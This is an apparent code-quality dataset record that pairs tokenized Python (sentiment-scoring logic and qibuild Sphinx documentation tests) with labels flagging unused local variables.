"\\u\\u\\uNEWLINE\\u\\u\\u_", "three", "two_", "=_", "u", "\"{}", " ", "{}\"_", "._", "format_", "(_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "3_", "]_", ",_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "2_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "one", "zero_", "in_", "SPECIAL", "\\u", "CASE", "\\u", "IDI", "OM", "S_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "v_", "=_", "SPECIAL", "\\u", "CASE", "\\u", "IDI", "OM", "S_", "[_", "one", "zero_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "two", "one", "zero_", "in_", "SPECIAL", "\\u", "CASE", "\\u", "IDI", "OM", "S_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "v_", "=_", "SPECIAL", "\\u", "CASE", "\\u", "IDI", "OM", "S_", "[_", "two", "one", "zero_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "two", "one_", "in_", "SPECIAL", "\\u", "CASE", "\\u", "IDI", "OM", "S_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "v_", "=_", "SPECIAL", "\\u", "CASE", "\\u", "IDI", "OM", "S_", "[_", "two", "one_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "three", "two", "one_", "in_", "SPECIAL", "\\u", "CASE", "\\u", "IDI", "OM", "S_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "v_", "=_", "SPECIAL", "\\u", "CASE", "\\u", "IDI", "OM", "S_", "[_", "three", "two", "one_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "three", "two_", "in_", "SPECIAL", "\\u", "CASE", "\\u", "IDI", "OM", "S_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "v_", "=_", "SPECIAL", "\\u", "CASE", "\\u", "IDI", "OM", "S_", "[_", "three", "two_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "words", "And", "Emo", "tic", "ons_", ")_", "-_", "1_", ">_", "i_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "zero", "one_", "=_", "u", "\"{}", " ", "{}\"_", "._", "format_", "(_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "]_", ",_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "+_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "zero", "one_", "in_", "SPECIAL", "\\u", "CASE", "\\u", "IDI", "OM", "S_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "v_", "=_", "SPECIAL", "\\u", "CASE", "\\u", "IDI", "OM", "S_", "[_", "zero", "one_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "words", "And", "Emo", "tic", "ons_", ")_", "-_", "1_", ">_", "i_", "+_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "zero", "onet", "wo", "_", "=_", "u", "\"{}", " ", "{}\"_", "._", "format_", "(_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "]_", ",_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "+_", "1_", "]_", ",_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "+_", "2_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "zero", "onet", "wo", "_", "in_", "SPECIAL", "\\u", "CASE", "\\u", "IDI", "OM", "S_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "v_", "=_", "SPECIAL", "\\u", "CASE", "\\u", "IDI", "OM", "S_", "[_", "zero", "onet", "wo", "_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "check", " ", "for", " ", "boost", "er", "/", "dam", "pene", "r", " ", "bi", "-", "grams", " ", "suc", "h", " ", "as", " ", "'", "sort", " ", "of", "'", " ", "or", " ", "'", "kind", " ", "of", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "three", "two_", "in_", "BOO", "STE", "R", "\\u", "DICT_", "or_", "two", "one_", "in_", "BOO", "STE", "R", "\\u", "DICT_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "v_", "=_", "v_", "+_", "B", "\\u", "DEC", "R_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "check", " ", "for", " ", "negati", "on", " ", "case", " ", "usi", "ng", " ", "\"", "leas", "t", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "i_", ">_", "1_", "and_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "1_", "]_", "._", "lower_", "(_", ")_", "not_", "in_", "WORD", "\\u", "VAL", "ENCE", "\\u", "DICT_", "and_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "1_", "]_", "._", "lower_", "(_", ")_", "==_", "\"", "leas", "t", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "2_", "]_", "._", "lower_", "(_", ")_", "!=_", "\"", "at", "\"_", "and_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "2_", "]_", "._", "lower_", "(_", ")_", "!=_", "\"", "very", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "v_", "=_", "v_", "*_", "n", "\\u", "scalar_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "i_", ">_", "0_", "and_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "1_", "]_", "._", "lower_", "(_", ")_", "not_", "in_", "WORD", "\\u", "VAL", "ENCE", "\\u", "DICT_", "and_", "words", "And", "Emo", "tic", "ons_", "[_", "i_", "-_", "1_", "]_", "._", "lower_", "(_", ")_", "==_", "\"", "leas", "t", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "v_", "=_", "v_", "*_", "n", "\\u", "scalar_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sentiment", "s_", "._", "append_", "(_", "v_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "check", " ", "for", " ", "modification", " ", "in", " ", "sentiment", " ", "due", " ", "to", " ", "contrast", "ive", " ", "conjunction", " ", "'", "but", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "but", "'_", "in_", "words", "And", "Emo", "tic", "ons_", "or_", "'", "BUT", "'_", "in_", "words", "And", "Emo", "tic", "ons_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "bi_", "=_", "words", "And", "Emo", "tic", "ons_", "._", "index_", "(_", "'", "but", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "bi_", "=_", "words", "And", "Emo", "tic", "ons_", "._", "index_", "(_", "'", "BUT", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "s_", "in_", "sentiment", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "si_", "=_", "sentiment", "s_", "._", "index_", "(_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "si_", "<_", "bi_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sentiment", "s_", "._", "pop_", "(_", "si_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sentiment", "s_", "._", "insert_", "(_", "si_", ",_", "s_", "*_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "si_", ">_", "bi_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sentiment", "s_", "._", "pop_", "(_", "si_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sentiment", "s_", "._", "insert_", "(_", "si_", ",_", "s_", "*_", "1.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "sentiment", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sum", "\\u", "s_", "=_", "float_", "(_", "sum_", "(_", "sentiment", "s_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "print", " ", "sentiment", "s", ",", " ", "sum", "\\u", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "check", " ", "for", " ", "adde", "d", " ", "empha", "sis", " ", "result", "ing", " ", "from", " ", "excl", "amat", "ion", " ", "points", " ", "(", "up", " ", "to", " ", "4", " ", "of", " ", "them", ")_", "\\u\\u\\uNL\\u\\u\\u_", "ep", "\\u", "count_", "=_", "text_", "._", "count_", "(_", "\"!\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ep", "\\u", "count_", ">_", "4_", ":_", "ep", "\\u", "count_", "=_", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ep", "\\u", "ampli", "fier", "_", "=_", "ep", "\\u", "count_", "*_", "0.29", "2_", "#(", "empir", "ical", "ly", " ", "derive", "d", " ", "mean", " ", "sentiment", " ", "intensity", " ", "rati", "ng", " ", "increase", " ", "for", " ", "excl", "amat", "ion", " ", "points", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "sum", "\\u", "s_", ">_", "0_", ":_", "sum", "\\u", "s_", "+=_", "ep", "\\u", "ampli", "fier", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "elif_", "sum", "\\u", "s_", "<_", "0_", ":_", "sum", "\\u", "s_", "-=_", "ep", "\\u", "ampli", "fier", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "check", " ", "for", " ", "adde", "d", " ", "empha", "sis", " ", "result", "ing", " ", "from", " ", "question", " ", "mark", "s", " ", "(", "2", " ", "or", " ", "3", "+)", "_", "\\u\\u\\uNL\\u\\u\\u_", "qm", "\\u", "count_", "=_", "text_", "._", "count_", "(_", "\"?\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "qm", "\\u", "ampli", "fier", "_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "qm", "\\u", "count_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "qm", "\\u", "count_", "<=_", "3_", ":_", "qm", "\\u", "ampli", "fier", "_", "=_", "qm", "\\u", "count_", "*_", "0.18", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "qm", "\\u", "ampli", "fier", "_", "=_", "0.96", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "sum", "\\u", "s_", ">_", "0_", ":_", "sum", "\\u", "s_", "+=_", "qm", "\\u", "ampli", "fier", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "elif_", "sum", "\\u", "s_", "<_", "0_", ":_", "sum", "\\u", "s_", "-=_", "qm", "\\u", "ampli", "fier", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "compound_", "=_", "normalize_", "(_", "sum", "\\u", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "want", " ", "separate", " ", "posit", "ive", " ", "vers", "us", " ", "negati", "ve", " ", "sentiment", " ", "scores_", "\\u\\u\\uNL\\u\\u\\u_", "pos", "\\u", "sum_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "neg", "\\u", "sum_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "neu", "\\u", "count_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "sentiment", "\\u", "score_", "in_", "sentiment", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "sentiment", "\\u", "score_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pos", "\\u", "sum_", "+=_", "(_", "float_", "(_", "sentiment", "\\u", "score_", ")_", "+_", "1_", ")_", "#", " ", "compen", "sat", "es", " ", "for", " ", "neutral", " ", "words", " ", "tha", "t", " ", "are", " ", "counted", " ", "as", " ", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "sentiment", "\\u", "score_", "<_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "neg", "\\u", "sum_", "+=_", "(_", "float_", "(_", "sentiment", "\\u", "score_", ")_", "-_", "1_", ")_", "#", " ", "whe", "n", " ", "used", " ", "with", " ", "math", ".", "fab", "s", "()", ",", " ", "compen", "sat", "es", " ", "for", " ", "neutral", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "sentiment", "\\u", "score_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "neu", "\\u", "count_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "pos", "\\u", "sum_", ">_", "math_", "._", "fabs_", "(_", "neg", "\\u", "sum_", ")_", ":_", "pos", "\\u", "sum_", "+=_", "(_", "ep", "\\u", "ampli", "fier", "_", "+_", "qm", "\\u", "ampli", "fier", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "elif_", "pos", "\\u", "sum_", "<_", "math_", "._", "fabs_", "(_", "neg", "\\u", "sum_", ")_", ":_", "neg", "\\u", "sum_", "-=_", "(_", "ep", "\\u", "ampli", "fier", "_", "+_", "qm", "\\u", "ampli", "fier", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "total_", "=_", "pos", "\\u", "sum_", "+_", "math_", "._", "fabs_", "(_", "neg", "\\u", "sum_", ")_", "+_", "neu", "\\u", "count_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pos_", "=_", "math_", "._", "fabs_", "(_", "pos", "\\u", "sum_", "/_", "total_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "neg_", "=_", "math_", "._", "fabs_", "(_", "neg", "\\u", "sum_", "/_", "total_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "neu", "_", "=_", "math_", "._", "fabs_", "(_", "neu", "\\u", "count_", "/_", "total_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "compound_", "=_", "0.0_", ";_", "pos_", "=_", "0.0_", ";_", "neg_", "=_", "0.0_", ";_", "neu", "_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "s_", "=_", "{_", "\"", "neg", "\"_", ":_", "round_", "(_", "neg_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "neu", "\"_", ":_", "round_", "(_", "neu", "_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "pos", "\"_", ":_", "round_", "(_", "pos_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "compo", "und", "\"_", ":_", "round_", "(_", "compound_", ",_", "4_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
aldebaran/qibuild/python/qidoc/test/test_sphinx.py
[ { "content": "def test_doxydeps(doc_worktree, tmpdir):\n sphinx_proj = doc_worktree.add_test_project(\"libworld-sphinx\")\n doxy_proj = doc_worktree.add_test_project(\"libworld\")\n doc_builder = qidoc.builder.DocBuilder(doc_worktree, \"libworld-sphinx\")\n doc_builder.configure()\n doc_builder.build()\n link = find_link(sphinx_proj.index_html, \"answer()\")\n assert os.path.exists(link)\n doc_builder.install(tmpdir.strpath)\n link = find_link(tmpdir.join(\"index.html\").strpath, \"answer()\")\n assert not os.path.isabs(link)\n assert tmpdir.join(link).check(file=True)", "metadata": "root.test_doxydeps", "header": "['module', '___EOS___']", "index": 119 }, { "content": "def test_install_twice(doc_worktree, tmpdir):\n world_proj = doc_worktree.add_test_project(\"world\")\n hello_proj = doc_worktree.add_test_project(\"hello\")\n doc_builder = qidoc.builder.DocBuilder(doc_worktree, \"hello\")\n doc_builder.werror = True\n dest1 = tmpdir.join(\"dest1\")\n doc_builder.install(dest1.strpath)\n assert dest1.join(\"ref\", \"world\", \"index.html\").check(file=True)\n dest2 = tmpdir.join(\"dest2\")\n doc_builder.install(dest2.strpath)\n assert dest2.join(\"ref\", \"world\", \"index.html\").check(file=True)", "metadata": "root.test_install_twice", "header": "['module', '___EOS___']", "index": 132 }, { "content": "@pytest.mark.skipif(\"True\")\ndef test_intersphinx(doc_worktree, tmpdir):\n world_proj = doc_worktree.add_test_project(\"world\")\n hello_proj = doc_worktree.add_test_project(\"hello\")\n doc_builder = qidoc.builder.DocBuilder(doc_worktree, \"hello\")\n doc_builder.werror = True\n doc_builder.configure()\n doc_builder.build()\n link = find_link(hello_proj.index_html, \"World intro\")\n assert os.path.exists(link)\n doc_builder.install(tmpdir.strpath)\n link = find_link(tmpdir.join(\"index.html\").strpath, \"World intro\")\n assert not os.path.isabs(link)\n assert tmpdir.join(link).check(file=True)", "metadata": "root.test_intersphinx", "header": "['module', '___EOS___']", "index": 146 } ]
[ { "span": "doxy_proj ", "start_line": 121, "start_column": 4, "end_line": 121, "end_column": 13 }, { "span": "world_proj ", "start_line": 133, "start_column": 4, "end_line": 133, "end_column": 14 }, { "span": "hello_proj ", "start_line": 134, "start_column": 4, "end_line": 134, "end_column": 14 }, { "span": "world_proj ", "start_line": 148, "start_column": 4, "end_line": 148, "end_column": 14 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "doxy", "deps_", "(_", "doc", "\\u", "work", "tree_", ",_", "tmpdir_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sphinx", "\\u", "proj_", "=_", "doc", "\\u", "work", "tree_", "._", "add", "\\u", "test\\u", "project_", "(_", "\"", "lib", "world", "-", "sphinx", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doxy", "\\u", "proj_", "=_", "doc", "\\u", "work", "tree_", "._", "add", "\\u", "test\\u", "project_", "(_", "\"", "lib", "world", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doc", "\\u", "builder_", "=_", "qid", "oc_", "._", "builder_", "._", "Doc", "Builder_", "(_", "doc", "\\u", "work", "tree_", ",_", "\"", "lib", "world", "-", "sphinx", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doc", "\\u", "builder_", "._", "configure_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doc", "\\u", "builder_", "._", "build_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "link_", "=_", "find", "\\u", "link_", "(_", "sphinx", "\\u", "proj_", "._", "index", "\\u", "html_", ",_", "\"", "answer", "()\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "os_", "._", "path_", "._", "exists_", "(_", "link_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doc", "\\u", "builder_", "._", "install_", "(_", "tmpdir_", "._", "strp", "ath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "link_", "=_", "find", "\\u", "link_", "(_", "tmpdir_", "._", "join_", "(_", "\"", "index", ".", "html", "\"_", ")_", "._", "strp", "ath_", ",_", "\"", "answer", "()\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "not_", "os_", "._", "path_", "._", "isabs_", "(_", "link_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "tmpdir_", "._", "join_", "(_", "link_", ")_", "._", "check_", "(_", "file_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "install", "\\u", "twi", "ce_", "(_", "doc", "\\u", "work", "tree_", ",_", "tmpdir_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "world", "\\u", "proj_", "=_", "doc", "\\u", "work", "tree_", "._", "add", "\\u", "test\\u", "project_", "(_", "\"", "world", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hell", "o", "\\u", "proj_", "=_", "doc", "\\u", "work", "tree_", "._", "add", "\\u", "test\\u", "project_", "(_", "\"", "hell", "o", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doc", "\\u", "builder_", "=_", "qid", "oc_", "._", "builder_", "._", "Doc", "Builder_", "(_", "doc", "\\u", "work", "tree_", ",_", "\"", "hell", "o", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doc", "\\u", "builder_", "._", "wer", "ror_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dest", "1_", "=_", "tmpdir_", "._", "join_", "(_", "\"", "dest", "1", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doc", "\\u", "builder_", "._", "install_", "(_", "dest", "1_", "._", "strp", "ath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "dest", "1_", "._", "join_", "(_", "\"", "ref", "\"_", ",_", "\"", "world", "\"_", ",_", "\"", "index", ".", "html", "\"_", ")_", "._", "check_", "(_", "file_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dest", "2_", "=_", "tmpdir_", "._", "join_", "(_", "\"", "dest", "2", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doc", "\\u", "builder_", "._", "install_", "(_", "dest", "2_", "._", "strp", "ath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "dest", "2_", "._", "join_", "(_", "\"", "ref", "\"_", ",_", "\"", "world", "\"_", ",_", "\"", "index", ".", "html", "\"_", ")_", "._", "check_", "(_", "file_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "pytest_", "._", "mark_", "._", "skipif_", "(_", "\"", "Tru", "e", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "intersphinx", "_", "(_", "doc", "\\u", "work", "tree_", ",_", "tmpdir_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "world", "\\u", "proj_", "=_", "doc", "\\u", "work", "tree_", "._", "add", "\\u", "test\\u", "project_", "(_", "\"", "world", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hell", "o", "\\u", "proj_", "=_", "doc", "\\u", "work", "tree_", "._", "add", "\\u", "test\\u", "project_", "(_", "\"", "hell", "o", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doc", "\\u", "builder_", "=_", "qid", "oc_", "._", "builder_", "._", "Doc", "Builder_", "(_", "doc", "\\u", "work", 